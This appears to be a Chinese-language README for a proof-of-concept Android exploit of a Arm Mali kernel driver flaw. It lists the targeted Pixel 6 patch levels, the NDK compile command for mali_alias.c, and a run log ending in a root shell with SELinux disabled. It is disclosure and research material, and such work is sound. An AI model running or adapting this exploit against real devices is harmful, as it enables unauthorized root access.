相关分析文章可在此处查阅。这是我在2022年1月报告的Arm Mali内核驱动程序中的一个漏洞。该漏洞可用于从不可信的应用程序域获得任意内核代码执行权限,进而禁用SELinux并获得root权限。
该漏洞利用已在Google Pixel 6上测试,支持从2021年11月到2022年2月的补丁级别。通过更改几个镜像偏移量,可以轻松添加对其他固件的支持。作为参考,我使用了以下命令与ndk-21中的clang进行编译:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
该漏洞利用很少失败,可以在不崩溃设备的情况下重试。如果成功,它应该禁用SELinux并获得root权限。
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #